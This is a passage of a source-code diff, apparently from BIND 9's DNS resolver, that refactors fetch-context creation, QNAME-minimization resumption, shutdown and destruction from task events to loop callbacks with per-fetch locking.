+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	fetchctx_t *fctx = resp->arg;
+	dns_resolver_t *res = NULL;
 	isc_result_t result;
-	bool bucket_empty;
-	unsigned int bucketnum;
 	unsigned int findoptions = 0;
-	dns_name_t *fname, *dcname;
+	dns_name_t *fname = NULL, *dcname = NULL;
 	dns_fixedname_t ffixed, dcfixed;
-	fname = dns_fixedname_initname(&ffixed);
-	dcname = dns_fixedname_initname(&dcfixed);
 
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE);
-	fevent = (dns_fetchevent_t *)event;
-	fctx = event->ev_arg;
 	REQUIRE(VALID_FCTX(fctx));
+	REQUIRE(resp->type == FETCHDONE);
+
 	res = fctx->res;
 
-	UNUSED(task);
+	REQUIRE(fctx->tid == isc_tid());
+
 	FCTXTRACE("resume_qmin");
 
-	if (fevent->node != NULL) {
-		dns_db_detachnode(fevent->db, &fevent->node);
+	fname = dns_fixedname_initname(&ffixed);
+	dcname = dns_fixedname_initname(&dcfixed);
+
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (fevent->db != NULL) {
-		dns_db_detach(&fevent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
 
-	bucketnum = fctx->bucketnum;
-
-	if (dns_rdataset_isassociated(fevent->rdataset)) {
-		dns_rdataset_disassociate(fevent->rdataset);
+	if (dns_rdataset_isassociated(resp->rdataset)) {
+		dns_rdataset_disassociate(resp->rdataset);
 	}
-	result = fevent->result;
-	fevent = NULL;
-	isc_event_free(&event);
 
-	dns_resolver_destroyfetch(&fctx->qminfetch);
+	result = resp->result;
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 
-	LOCK(&res->buckets[bucketnum].lock);
+	LOCK(&fctx->lock);
 	if (SHUTTINGDOWN(fctx)) {
-		maybe_destroy(fctx, true);
-		UNLOCK(&res->buckets[bucketnum].lock);
-		goto cleanup;
+		result = ISC_R_SHUTTINGDOWN;
 	}
-	UNLOCK(&res->buckets[bucketnum].lock);
+	UNLOCK(&fctx->lock);
 
-	/*
-	 * Note: fevent->rdataset must be disassociated and
-	 * isc_event_free(&event) be called before resuming
-	 * processing of the 'fctx' to prevent use-after-free.
-	 * 'fevent' is set to NULL so as to not have a dangling
-	 * pointer.
-	 */
-	if (result == ISC_R_CANCELED) {
-		fctx_done(fctx, result, __LINE__);
-		goto cleanup;
-	}
+	dns_resolver_destroyfetch(&fctx->qminfetch);
 
 	/*
-	 * If we're doing "_ A"-style minimization we can get
-	 * NX answer to minimized query - we need to continue then.
-	 *
-	 * Otherwise - either disable minimization if we're
-	 * in relaxed mode or fail if we're in strict mode.
+	 * Beware, the switch() below is little bit tricky - the order of the
+	 * branches is important.
 	 */
+	switch (result) {
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+		goto cleanup;
 
-	if ((NXDOMAIN_RESULT(result) &&
-	     (fctx->options & DNS_FETCHOPT_QMIN_USE_A) == 0) ||
-	    result == DNS_R_FORMERR || result == DNS_R_REMOTEFORMERR ||
-	    result == ISC_R_FAILURE)
-	{
-		if ((fctx->options & DNS_FETCHOPT_QMIN_STRICT) == 0) {
-			fctx->qmin_labels = DNS_MAX_LABELS + 1;
-			/*
-			 * We store the result. If we succeed in the end
-			 * we'll issue a warning that the server is broken.
-			 */
-			fctx->qmin_warning = result;
-		} else {
-			fctx_done(fctx, result, __LINE__);
+	case DNS_R_NXDOMAIN:
+	case DNS_R_NCACHENXDOMAIN:
+	case DNS_R_FORMERR:
+	case DNS_R_REMOTEFORMERR:
+	case ISC_R_FAILURE:
+		if ((fctx->options & DNS_FETCHOPT_QMIN_STRICT) != 0) {
+			/* These results cause a hard fail in strict mode */
 			goto cleanup;
 		}
+
+		/* ...or disable minimization in relaxed mode */
+		fctx->qmin_labels = DNS_NAME_MAXLABELS;
+
+		/*
+		 * We store the result. If we succeed in the end
+		 * we'll issue a warning that the server is
+		 * broken.
+		 */
+		fctx->qmin_warning = result;
+		break;
+
+	case ISC_R_SUCCESS:
+	case DNS_R_DELEGATION:
+	case DNS_R_NXRRSET:
+	case DNS_R_NCACHENXRRSET:
+	case DNS_R_CNAME:
+	case DNS_R_DNAME:
+		/*
+		 * Any other result will *not* cause a failure in strict
+		 * mode, or cause minimization to be disabled in relaxed
+		 * mode.
+		 *
+		 * If DNS_R_DELEGATION is set here, it implies that
+		 * DNS_FETCHOPT_NOFOLLOW was set, and a delegation was
+		 * discovered but not followed; we will do so now.
+		 */
+		break;
+
+	default:
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
+			      DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(5),
+			      "QNAME minimization: unexpected result %s",
+			      isc_result_totext(result));
+		break;
 	}
 
 	if (dns_rdataset_isassociated(&fctx->nameservers)) {
@@ -4404,133 +4208,88 @@ resume_qmin(isc_task_t *task, isc_event_t *event) {
 	if (dns_rdatatype_atparent(fctx->type)) {
 		findoptions |= DNS_DBFIND_NOEXACT;
 	}
-	result = dns_view_findzonecut(res->view, &fctx->name, fname, dcname,
+	result = dns_view_findzonecut(res->view, fctx->name, fname, dcname,
 				      fctx->now, findoptions, true, true,
 				      &fctx->nameservers, NULL);
 
 	/*
-	 * DNS_R_NXDOMAIN here means we have not loaded the root zone mirror
-	 * yet - but DNS_R_NXDOMAIN is not a valid return value when doing
-	 * recursion, we need to patch it.
+	 * DNS_R_NXDOMAIN here means we have not loaded the root zone
+	 * mirror yet - but DNS_R_NXDOMAIN is not a valid return value
+	 * when doing recursion, we need to patch it.
 	 */
 	if (result == DNS_R_NXDOMAIN) {
 		result = DNS_R_SERVFAIL;
 	}
 
 	if (result != ISC_R_SUCCESS) {
-		fctx_done(fctx, result, __LINE__);
 		goto cleanup;
 	}
 	fcount_decr(fctx);
-	dns_name_free(&fctx->domain, fctx->mctx);
-	dns_name_init(&fctx->domain, NULL);
-	dns_name_dup(fname, fctx->mctx, &fctx->domain);
 
-	result = fcount_incr(fctx, false);
+	dns_name_copy(fname, fctx->domain);
+
+	result = fcount_incr(fctx, true);
 	if (result != ISC_R_SUCCESS) {
-		fctx_done(fctx, result, __LINE__);
 		goto cleanup;
 	}
 
-	dns_name_free(&fctx->qmindcname, fctx->mctx);
-	dns_name_init(&fctx->qmindcname, NULL);
-	dns_name_dup(dcname, fctx->mctx, &fctx->qmindcname);
+	dns_name_copy(dcname, fctx->qmindcname);
 	fctx->ns_ttl = fctx->nameservers.ttl;
 	fctx->ns_ttl_ok = true;
 
-	result = fctx_minimize_qname(fctx);
-	if (result != ISC_R_SUCCESS) {
-		fctx_done(fctx, result, __LINE__);
-		goto cleanup;
-	}
+	fctx_minimize_qname(fctx);
 
 	if (!fctx->minimized) {
 		/*
-		 * We have finished minimizing, but fctx->finds was filled at
-		 * the beginning of the run - now we need to clear it before
-		 * sending the final query to use proper nameservers.
+		 * We have finished minimizing, but fctx->finds was
+		 * filled at the beginning of the run - now we need to
+		 * clear it before sending the final query to use proper
+		 * nameservers.
 		 */
 		fctx_cancelqueries(fctx, false, false);
-		fctx_cleanupall(fctx);
+		fctx_cleanup(fctx);
 	}
 
 	fctx_try(fctx, true, false);
 
 cleanup:
-	INSIST(event == NULL);
-	INSIST(fevent == NULL);
-	LOCK(&res->buckets[bucketnum].lock);
-	bucket_empty = fctx_decreference(fctx);
-	UNLOCK(&res->buckets[bucketnum].lock);
-	if (bucket_empty) {
-		empty_bucket(res);
+	if (result != ISC_R_SUCCESS) {
+		/* An error occurred, tear down whole fctx */
+		fctx_done_unref(fctx, result);
 	}
+	fetchctx_detach(&fctx);
 }
 
-static bool
-fctx_unlink(fetchctx_t *fctx) {
-	dns_resolver_t *res;
-	unsigned int bucketnum;
-
-	/*
-	 * Caller must be holding the bucket lock.
-	 */
+static void
+fctx_destroy(fetchctx_t *fctx) {
+	dns_resolver_t *res = NULL;
+	isc_sockaddr_t *sa = NULL, *next_sa = NULL;
+	struct tried *tried = NULL;
+	uint_fast32_t nfctx;
 
 	REQUIRE(VALID_FCTX(fctx));
-	REQUIRE(fctx->state == fetchstate_done ||
-		fctx->state == fetchstate_init);
-	REQUIRE(ISC_LIST_EMPTY(fctx->events));
+	REQUIRE(ISC_LIST_EMPTY(fctx->resps));
 	REQUIRE(ISC_LIST_EMPTY(fctx->queries));
 	REQUIRE(ISC_LIST_EMPTY(fctx->finds));
 	REQUIRE(ISC_LIST_EMPTY(fctx->altfinds));
-	REQUIRE(fctx->pending == 0);
+	REQUIRE(atomic_load_acquire(&fctx->pending) == 0);
 	REQUIRE(ISC_LIST_EMPTY(fctx->validators));
+	REQUIRE(fctx->state != fetchstate_active);
 
-	FCTXTRACE("unlink");
+	FCTXTRACE("destroy");
 
 	isc_refcount_destroy(&fctx->references);
 
-	res = fctx->res;
-	bucketnum = fctx->bucketnum;
-
-	ISC_LIST_UNLINK(res->buckets[bucketnum].fctxs, fctx, link);
+	fctx->magic = 0;
 
-	INSIST(atomic_fetch_sub_release(&res->nfctx, 1) > 0);
+	res = fctx->res;
 
 	dec_stats(res, dns_resstatscounter_nfetch);
 
-	if (atomic_load_acquire(&res->buckets[bucketnum].exiting) &&
-	    ISC_LIST_EMPTY(res->buckets[bucketnum].fctxs))
-	{
-		return (true);
-	}
-
-	return (false);
-}
-
-static void
-fctx_destroy(fetchctx_t *fctx) {
-	isc_sockaddr_t *sa, *next_sa;
-	struct tried *tried;
-
-	REQUIRE(VALID_FCTX(fctx));
-	REQUIRE(fctx->state == fetchstate_done ||
-		fctx->state == fetchstate_init);
-	REQUIRE(ISC_LIST_EMPTY(fctx->events));
-	REQUIRE(ISC_LIST_EMPTY(fctx->queries));
-	REQUIRE(ISC_LIST_EMPTY(fctx->finds));
-	REQUIRE(ISC_LIST_EMPTY(fctx->altfinds));
-	REQUIRE(fctx->pending == 0);
-	REQUIRE(ISC_LIST_EMPTY(fctx->validators));
-	REQUIRE(!ISC_LINK_LINKED(fctx, link));
-
-	FCTXTRACE("destroy");
-
-	isc_refcount_destroy(&fctx->references);
+	nfctx = atomic_fetch_sub_release(&res->nfctx, 1);
+	INSIST(nfctx > 0);
 
-	/*
-	 * Free bad.
-	 */
+	/* Free bad */
 	for (sa = ISC_LIST_HEAD(fctx->bad); sa != NULL; sa = next_sa) {
 		next_sa = ISC_LIST_NEXT(sa, link);
 		ISC_LIST_UNLINK(fctx->bad, sa, link);
@@ -4552,421 +4311,143 @@ fctx_destroy(fetchctx_t *fctx) {
 
 	isc_counter_detach(&fctx->qc);
 	fcount_decr(fctx);
-	isc_timer_detach(&fctx->timer);
-	if (fctx->timer_try_stale != NULL) {
-		isc_timer_detach(&fctx->timer_try_stale);
-	}
 	dns_message_detach(&fctx->qmessage);
-	if (dns_name_countlabels(&fctx->domain) > 0) {
-		dns_name_free(&fctx->domain, fctx->mctx);
-	}
 	if (dns_rdataset_isassociated(&fctx->nameservers)) {
 		dns_rdataset_disassociate(&fctx->nameservers);
 	}
-	dns_name_free(&fctx->name, fctx->mctx);
-	dns_name_free(&fctx->qminname, fctx->mctx);
-	dns_name_free(&fctx->qmindcname, fctx->mctx);
 	dns_db_detach(&fctx->cache);
 	dns_adb_detach(&fctx->adb);
+
+	dns_resolver_detach(&fctx->res);
+
+	isc_mutex_destroy(&fctx->lock);
+
 	isc_mem_free(fctx->mctx, fctx->info);
 	isc_mem_putanddetach(&fctx->mctx, fctx, sizeof(*fctx));
 }
 
-/*
- * Fetch event handlers.
- */
-
 static void
-fctx_timeout(isc_task_t *task, isc_event_t *event) {
-	fetchctx_t *fctx = event->ev_arg;
-	isc_timerevent_t *tevent = (isc_timerevent_t *)event;
-	resquery_t *query;
+fctx_expired(void *arg) {
+	fetchctx_t *fctx = (fetchctx_t *)arg;
 
 	REQUIRE(VALID_FCTX(fctx));
+	REQUIRE(fctx->tid == isc_tid());
 
-	UNUSED(task);
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
+		      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
+		      "shut down hung fetch while resolving %p(%s)", fctx,
+		      fctx->info);
+	fctx_done_detach(&fctx, DNS_R_SERVFAIL);
+}
 
-	FCTXTRACE("timeout");
+static void
+fctx_shutdown(fetchctx_t *fctx) {
+	REQUIRE(VALID_FCTX(fctx));
 
-	inc_stats(fctx->res, dns_resstatscounter_querytimeout);
+	fctx_done_unref(fctx, ISC_R_SHUTTINGDOWN);
+	fetchctx_detach(&fctx);
+}
 
-	if (event->ev_type == ISC_TIMEREVENT_LIFE) {
-		fctx_done(fctx, ISC_R_TIMEDOUT, __LINE__);
-	} else {
-		isc_result_t result;
+static void
+fctx_start(void *arg) {
+	fetchctx_t *fctx = (fetchctx_t *)arg;
 
-		fctx->timeouts++;
-		fctx->timeout = true;
+	REQUIRE(VALID_FCTX(fctx));
 
-		/*
-		 * We could cancel the running queries here, or we could let
-		 * them keep going.  Since we normally use separate sockets for
-		 * different queries, we adopt the former approach to reduce
-		 * the number of open sockets: cancel the oldest query if it
-		 * expired after the query had started (this is usually the
-		 * case but is not always so, depending on the task schedule
-		 * timing).
-		 */
-		query = ISC_LIST_HEAD(fctx->queries);
-		if (query != NULL &&
-		    isc_time_compare(&tevent->due, &query->start) >= 0) {
-			FCTXTRACE("query timed out; no response");
-			fctx_cancelquery(&query, NULL, NULL, true, false);
-		}
-		FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
+	FCTXTRACE("start");
 
-		/*
-		 * Our timer has triggered.  Reestablish the fctx lifetime
-		 * timer.
-		 */
-		result = fctx_starttimer(fctx);
-		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, result, __LINE__);
-		} else {
-			/* Keep trying */
-			fctx_try(fctx, true, false);
-		}
+	LOCK(&fctx->lock);
+	if (SHUTTINGDOWN(fctx)) {
+		UNLOCK(&fctx->lock);
+		goto detach;
 	}
 
-	isc_event_free(&event);
-}
-
-/*
- * Fetch event handlers called if stale answers are enabled
- * (stale-answer-enabled) and the fetch took more than
- * stale-answer-client-timeout to complete.
- */
-static void
-fctx_timeout_try_stale(isc_task_t *task, isc_event_t *event) {
-	fetchctx_t *fctx = event->ev_arg;
-	dns_fetchevent_t *dns_event, *next_event;
-	isc_task_t *sender_task;
-	unsigned int count = 0;
-
-	REQUIRE(VALID_FCTX(fctx));
-
-	UNUSED(task);
-
-	FCTXTRACE("timeout_try_stale");
-
-	if (event->ev_type != ISC_TIMEREVENT_LIFE) {
-		return;
-	}
-
-	LOCK(&fctx->res->buckets[fctx->bucketnum].lock);
-
-	/*
-	 * Trigger events of type DNS_EVENT_TRYSTALE.
-	 */
-	for (dns_event = ISC_LIST_HEAD(fctx->events); dns_event != NULL;
-	     dns_event = next_event)
-	{
-		next_event = ISC_LIST_NEXT(dns_event, ev_link);
-
-		if (dns_event->ev_type != DNS_EVENT_TRYSTALE) {
-			continue;
-		}
-
-		ISC_LIST_UNLINK(fctx->events, dns_event, ev_link);
-		sender_task = dns_event->ev_sender;
-		dns_event->ev_sender = fctx;
-		dns_event->vresult = ISC_R_TIMEDOUT;
-		dns_event->result = ISC_R_TIMEDOUT;
-
-		isc_task_sendanddetach(&sender_task, ISC_EVENT_PTR(&dns_event));
-		count++;
-	}
-
-	UNLOCK(&fctx->res->buckets[fctx->bucketnum].lock);
-
-	isc_event_free(&event);
-}
-
-static void
-fctx_shutdown(fetchctx_t *fctx) {
-	isc_event_t *cevent;
-
 	/*
-	 * Start the shutdown process for fctx, if it isn't already underway.
+	 * Normal fctx startup.
 	 */
-
-	FCTXTRACE("shutdown");
+	fctx->state = fetchstate_active;
+	UNLOCK(&fctx->lock);
 
 	/*
-	 * The caller must be holding the appropriate bucket lock.
+	 * As a backstop, we also set a timer to stop the fetch
+	 * if in-band netmgr timeouts don't work. It will fire two
+	 * seconds after the fetch should have finished. (This
+	 * should be enough of a gap to avoid the timer firing
+	 * while a response is being processed normally.)
 	 */
+	fctx_starttimer(fctx);
+	fctx_try(fctx, false, false);
 
-	if (fctx->want_shutdown) {
-		return;
-	}
-
-	fctx->want_shutdown = true;
-
-	/*
-	 * Unless we're still initializing (in which case the
-	 * control event is still outstanding), we need to post
-	 * the control event to tell the fetch we want it to
-	 * exit.
-	 */
-	if (fctx->state != fetchstate_init) {
-		cevent = &fctx->control_event;
-		isc_task_sendto(fctx->res->buckets[fctx->bucketnum].task,
-				&cevent, fctx->bucketnum);
-	}
+detach:
+	fetchctx_detach(&fctx);
 }
 
-static void
-fctx_doshutdown(isc_task_t *task, isc_event_t *event) {
-	fetchctx_t *fctx = event->ev_arg;
-	bool bucket_empty = false;
-	dns_resolver_t *res;
-	unsigned int bucketnum;
-	dns_validator_t *validator;
-	bool dodestroy = false;
-
-	REQUIRE(VALID_FCTX(fctx));
-
-	UNUSED(task);
-
-	res = fctx->res;
-	bucketnum = fctx->bucketnum;
-
-	FCTXTRACE("doshutdown");
-
-	/*
-	 * An fctx that is shutting down is no longer in ADDRWAIT mode.
-	 */
-	FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
-
-	/*
-	 * Cancel all pending validators.  Note that this must be done
-	 * without the bucket lock held, since that could cause deadlock.
-	 */
-	validator = ISC_LIST_HEAD(fctx->validators);
-	while (validator != NULL) {
-		dns_validator_cancel(validator);
-		validator = ISC_LIST_NEXT(validator, link);
-	}
-
-	if (fctx->nsfetch != NULL) {
-		dns_resolver_cancelfetch(fctx->nsfetch);
-	}
-
-	if (fctx->qminfetch != NULL) {
-		dns_resolver_cancelfetch(fctx->qminfetch);
-	}
-
-	/*
-	 * Shut down anything still running on behalf of this
-	 * fetch, and clean up finds and addresses.  To avoid deadlock
-	 * with the ADB, we must do this before we lock the bucket lock.
-	 */
-	fctx_stopqueries(fctx, false, false);
-	fctx_cleanupall(fctx);
-
-	LOCK(&res->buckets[bucketnum].lock);
-
-	FCTX_ATTR_SET(fctx, FCTX_ATTR_SHUTTINGDOWN);
-
-	INSIST(fctx->state == fetchstate_active ||
-	       fctx->state == fetchstate_done);
-	INSIST(fctx->want_shutdown);
-
-	if (fctx->state != fetchstate_done) {
-		fctx->state = fetchstate_done;
-		fctx_sendevents(fctx, ISC_R_CANCELED, __LINE__);
-	}
-
-	if (isc_refcount_current(&fctx->references) == 0 &&
-	    fctx->pending == 0 && fctx->nqueries == 0 &&
-	    ISC_LIST_EMPTY(fctx->validators))
-	{
-		bucket_empty = fctx_unlink(fctx);
-		dodestroy = true;
-	}
-
-	UNLOCK(&res->buckets[bucketnum].lock);
-
-	if (dodestroy) {
-		fctx_destroy(fctx);
-		if (bucket_empty) {
-			empty_bucket(res);
-		}
-	}
-}
+/*
+ * Fetch Creation, Joining, and Cancellation.
+ */
 
 static void
-fctx_start(isc_task_t *task, isc_event_t *event) {
-	fetchctx_t *fctx = event->ev_arg;
-	bool done = false, bucket_empty = false;
-	dns_resolver_t *res;
-	unsigned int bucketnum;
-	bool dodestroy = false;
-
-	REQUIRE(VALID_FCTX(fctx));
-
-	UNUSED(task);
-
-	res = fctx->res;
-	bucketnum = fctx->bucketnum;
-
-	FCTXTRACE("start");
-
-	LOCK(&res->buckets[bucketnum].lock);
-
-	INSIST(fctx->state == fetchstate_init);
-	if (fctx->want_shutdown) {
-		/*
-		 * We haven't started this fctx yet, and we've been requested
-		 * to shut it down.
-		 */
-		FCTX_ATTR_SET(fctx, FCTX_ATTR_SHUTTINGDOWN);
-		fctx->state = fetchstate_done;
-		fctx_sendevents(fctx, ISC_R_CANCELED, __LINE__);
-		/*
-		 * Since we haven't started, we INSIST that we have no
-		 * pending ADB finds and no pending validations.
-		 */
-		INSIST(fctx->pending == 0);
-		INSIST(fctx->nqueries == 0);
-		INSIST(ISC_LIST_EMPTY(fctx->validators));
-		if (isc_refcount_current(&fctx->references) == 0) {
-			/*
-			 * It's now safe to destroy this fctx.
-			 */
-			bucket_empty = fctx_unlink(fctx);
-			dodestroy = true;
-		}
-		done = true;
+fctx_add_event(fetchctx_t *fctx, isc_loop_t *loop, const isc_sockaddr_t *client,
+	       dns_messageid_t id, isc_job_cb cb, void *arg,
+	       dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
+	       dns_fetch_t *fetch, int type) {
+	dns_fetchresponse_t *resp = NULL;
+
+	FCTXTRACE("addevent");
+
+	resp = isc_mem_get(fctx->mctx, sizeof(*resp));
+	*resp = (dns_fetchresponse_t){
+		.result = DNS_R_SERVFAIL,
+		.qtype = fctx->type,
+		.rdataset = rdataset,
+		.sigrdataset = sigrdataset,
+		.fetch = fetch,
+		.client = client,
+		.id = id,
+		.type = type,
+		.loop = loop,
+		.cb = cb,
+		.arg = arg,
+		.link = ISC_LINK_INITIALIZER,
+	};
+	isc_mem_attach(fctx->mctx, &resp->mctx);
+
+	resp->foundname = dns_fixedname_initname(&resp->fname);
+
+	/*
+	 * Store the sigrdataset in the first resp in case it is needed
+	 * by any of the events.
+	 */
+	if (resp->sigrdataset != NULL) {
+		ISC_LIST_PREPEND(fctx->resps, resp, link);
 	} else {
-		/*
-		 * Normal fctx startup.
-		 */
-		fctx->state = fetchstate_active;
-		/*
-		 * Reset the control event for later use in shutting down
-		 * the fctx.
-		 */
-		ISC_EVENT_INIT(event, sizeof(*event), 0, NULL,
-			       DNS_EVENT_FETCHCONTROL, fctx_doshutdown, fctx,
-			       NULL, NULL, NULL);
-	}
-
-	UNLOCK(&res->buckets[bucketnum].lock);
-
-	if (!done) {
-		isc_result_t result;
-
-		INSIST(!dodestroy);
-
-		/*
-		 * All is well.  Start working on the fetch.
-		 */
-		result = fctx_starttimer(fctx);
-		if (result == ISC_R_SUCCESS && fctx->timer_try_stale != NULL) {
-			result = fctx_starttimer_trystale(fctx);
-		}
-		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, result, __LINE__);
-		} else {
-			fctx_try(fctx, false, false);
-		}
-	} else if (dodestroy) {
-		fctx_destroy(fctx);
-		if (bucket_empty) {
-			empty_bucket(res);
-		}
+		ISC_LIST_APPEND(fctx->resps, resp, link);
 	}
 }
 
-/*
- * Fetch Creation, Joining, and Cancellation.
- */
-
-static inline isc_result_t
-fctx_join(fetchctx_t *fctx, isc_task_t *task, const isc_sockaddr_t *client,
-	  dns_messageid_t id, isc_taskaction_t action, void *arg,
+static void
+fctx_join(fetchctx_t *fctx, isc_loop_t *loop, const isc_sockaddr_t *client,
+	  dns_messageid_t id, isc_job_cb cb, void *arg,
 	  dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
 	  dns_fetch_t *fetch) {
-	isc_task_t *tclone;
-	dns_fetchevent_t *event;
-
 	FCTXTRACE("join");
 
-	/*
-	 * We store the task we're going to send this event to in the
-	 * sender field.  We'll make the fetch the sender when we actually
-	 * send the event.
-	 */
-	tclone = NULL;
-	isc_task_attach(task, &tclone);
-	event = (dns_fetchevent_t *)isc_event_allocate(
-		fctx->res->mctx, tclone, DNS_EVENT_FETCHDONE, action, arg,
-		sizeof(*event));
-	event->result = DNS_R_SERVFAIL;
-	event->qtype = fctx->type;
-	event->db = NULL;
-	event->node = NULL;
-	event->rdataset = rdataset;
-	event->sigrdataset = sigrdataset;
-	event->fetch = fetch;
-	event->client = client;
-	event->id = id;
-	dns_fixedname_init(&event->foundname);
-
-	/*
-	 * Make sure that we can store the sigrdataset in the
-	 * first event if it is needed by any of the events.
-	 */
-	if (event->sigrdataset != NULL) {
-		ISC_LIST_PREPEND(fctx->events, event, ev_link);
-	} else {
-		ISC_LIST_APPEND(fctx->events, event, ev_link);
-	}
+	REQUIRE(!SHUTTINGDOWN(fctx));
 
-	fctx_increference(fctx);
+	fctx_add_event(fctx, loop, client, id, cb, arg, rdataset, sigrdataset,
+		       fetch, FETCHDONE);
 
 	fetch->magic = DNS_FETCH_MAGIC;
-	fetch->private = fctx;
-
-	return (ISC_R_SUCCESS);
+	fetchctx_attach(fctx, &fetch->private);
 }
 
-static inline void
-fctx_add_event(fetchctx_t *fctx, isc_task_t *task, const isc_sockaddr_t *client,
-	       dns_messageid_t id, isc_taskaction_t action, void *arg,
-	       dns_fetch_t *fetch, isc_eventtype_t event_type) {
-	isc_task_t *tclone;
-	dns_fetchevent_t *event;
-	/*
-	 * We store the task we're going to send this event to in the
-	 * sender field.  We'll make the fetch the sender when we actually
-	 * send the event.
-	 */
-	tclone = NULL;
-	isc_task_attach(task, &tclone);
-	event = (dns_fetchevent_t *)isc_event_allocate(fctx->res->mctx, tclone,
-						       event_type, action, arg,
-						       sizeof(*event));
-	event->result = DNS_R_SERVFAIL;
-	event->qtype = fctx->type;
-	event->db = NULL;
-	event->node = NULL;
-	event->rdataset = NULL;
-	event->sigrdataset = NULL;
-	event->fetch = fetch;
-	event->client = client;
-	event->id = id;
-	ISC_LIST_APPEND(fctx->events, event, ev_link);
-}
-
-static inline void
+static void
 log_ns_ttl(fetchctx_t *fctx, const char *where) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char domainbuf[DNS_NAME_FORMATSIZE];
 
-	dns_name_format(&fctx->name, namebuf, sizeof(namebuf));
-	dns_name_format(&fctx->domain, domainbuf, sizeof(domainbuf));
+	dns_name_format(fctx->name, namebuf, sizeof(namebuf));
+	dns_name_format(fctx->domain, domainbuf, sizeof(domainbuf));
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
 		      DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(10),
 		      "log_ns_ttl: fctx %p: %s: %s (in '%s'?): %u %u", fctx,
@@ -4974,34 +4455,55 @@ log_ns_ttl(fetchctx_t *fctx, const char *where) {
 }
 
 static isc_result_t
-fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
-	    const dns_name_t *domain, dns_rdataset_t *nameservers,
-	    const isc_sockaddr_t *client, unsigned int options,
-	    unsigned int bucketnum, unsigned int depth, isc_counter_t *qc,
+fctx_create(dns_resolver_t *res, isc_loop_t *loop, const dns_name_t *name,
+	    dns_rdatatype_t type, const dns_name_t *domain,
+	    dns_rdataset_t *nameservers, const isc_sockaddr_t *client,
+	    unsigned int options, unsigned int depth, isc_counter_t *qc,
 	    fetchctx_t **fctxp) {
-	fetchctx_t *fctx;
+	fetchctx_t *fctx = NULL;
 	isc_result_t result;
 	isc_result_t iresult;
 	isc_interval_t interval;
 	unsigned int findoptions = 0;
 	char buf[DNS_NAME_FORMATSIZE + DNS_RDATATYPE_FORMATSIZE + 1];
-	isc_mem_t *mctx;
+	uint_fast32_t nfctx;
+	isc_mem_t *mctx = isc_loop_getmctx(loop);
 	size_t p;
-	bool try_stale;
 
 	/*
-	 * Caller must be holding the lock for bucket number 'bucketnum'.
+	 * Caller must be holding the lock for 'bucket'
 	 */
 	REQUIRE(fctxp != NULL && *fctxp == NULL);
 
-	mctx = res->buckets[bucketnum].mctx;
 	fctx = isc_mem_get(mctx, sizeof(*fctx));
+	*fctx = (fetchctx_t){
+		.type = type,
+		.qmintype = type,
+		.options = options,
+		.tid = isc_tid(),
+		.state = fetchstate_active,
+		.depth = depth,
+		.qmin_labels = 1,
+		.fwdpolicy = dns_fwdpolicy_none,
+		.result = ISC_R_FAILURE,
+		.loop = loop,
+		.key = { .size = sizeof(unsigned int) +
+				 sizeof(dns_rdatatype_t) + name->length },
+	};
+
+	isc_mem_attach(mctx, &fctx->mctx);
+	dns_resolver_attach(res, &fctx->res);
+
+	isc_mutex_init(&fctx->lock);
+
+	fctx->key.options = options;
+	fctx->key.type = type;
+	isc_ascii_lowercopy(fctx->key.name, name->ndata, name->length);
 
-	fctx->qc = NULL;
 	if (qc != NULL) {
 		isc_counter_attach(qc, &fctx->qc);
 	} else {
-		result = isc_counter_create(res->mctx, res->maxqueries,
+		result = isc_counter_create(fctx->mctx, res->maxqueries,
 					    &fctx->qc);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup_fetch;
@@ -5010,105 +4512,64 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 
 	/*
 	 * Make fctx->info point to a copy of a formatted string
-	 * "name/type".
+	 * "name/type". FCTXTRACE won't work until this is done.
 	 */
 	dns_name_format(name, buf, sizeof(buf));
 	p = strlcat(buf, "/", sizeof(buf));
 	INSIST(p + DNS_RDATATYPE_FORMATSIZE < sizeof(buf));
 	dns_rdatatype_format(type, buf + p, sizeof(buf) - p);
-	fctx->info = isc_mem_strdup(mctx, buf);
+	fctx->info = isc_mem_strdup(fctx->mctx, buf);
 
 	FCTXTRACE("create");
-	dns_name_init(&fctx->name, NULL);
-	dns_name_dup(name, mctx, &fctx->name);
-	dns_name_init(&fctx->qminname, NULL);
-	dns_name_dup(name, mctx, &fctx->qminname);
-	dns_name_init(&fctx->domain, NULL);
-	dns_rdataset_init(&fctx->nameservers);
 
-	fctx->type = type;
-	fctx->qmintype = type;
-	fctx->options = options;
-	/*
-	 * Note!  We do not attach to the task.  We are relying on the
-	 * resolver to ensure that this task doesn't go away while we are
-	 * using it.
-	 */
-	fctx->res = res;
-	isc_refcount_init(&fctx->references, 0);
-	fctx->bucketnum = bucketnum;
-	fctx->dbucketnum = RES_NOBUCKET;
-	fctx->state = fetchstate_init;
-	fctx->want_shutdown = false;
-	fctx->cloned = false;
-	fctx->depth = depth;
-	fctx->minimized = false;
-	fctx->ip6arpaskip = false;
-	fctx->forwarding = false;
-	fctx->qmin_labels = 1;
-	fctx->qmin_warning = ISC_R_SUCCESS;
-	fctx->qminfetch = NULL;
-	dns_rdataset_init(&fctx->qminrrset);
-	dns_name_init(&fctx->qmindcname, NULL);
-	isc_stdtime_get(&fctx->now);
+#if DNS_RESOLVER_TRACE
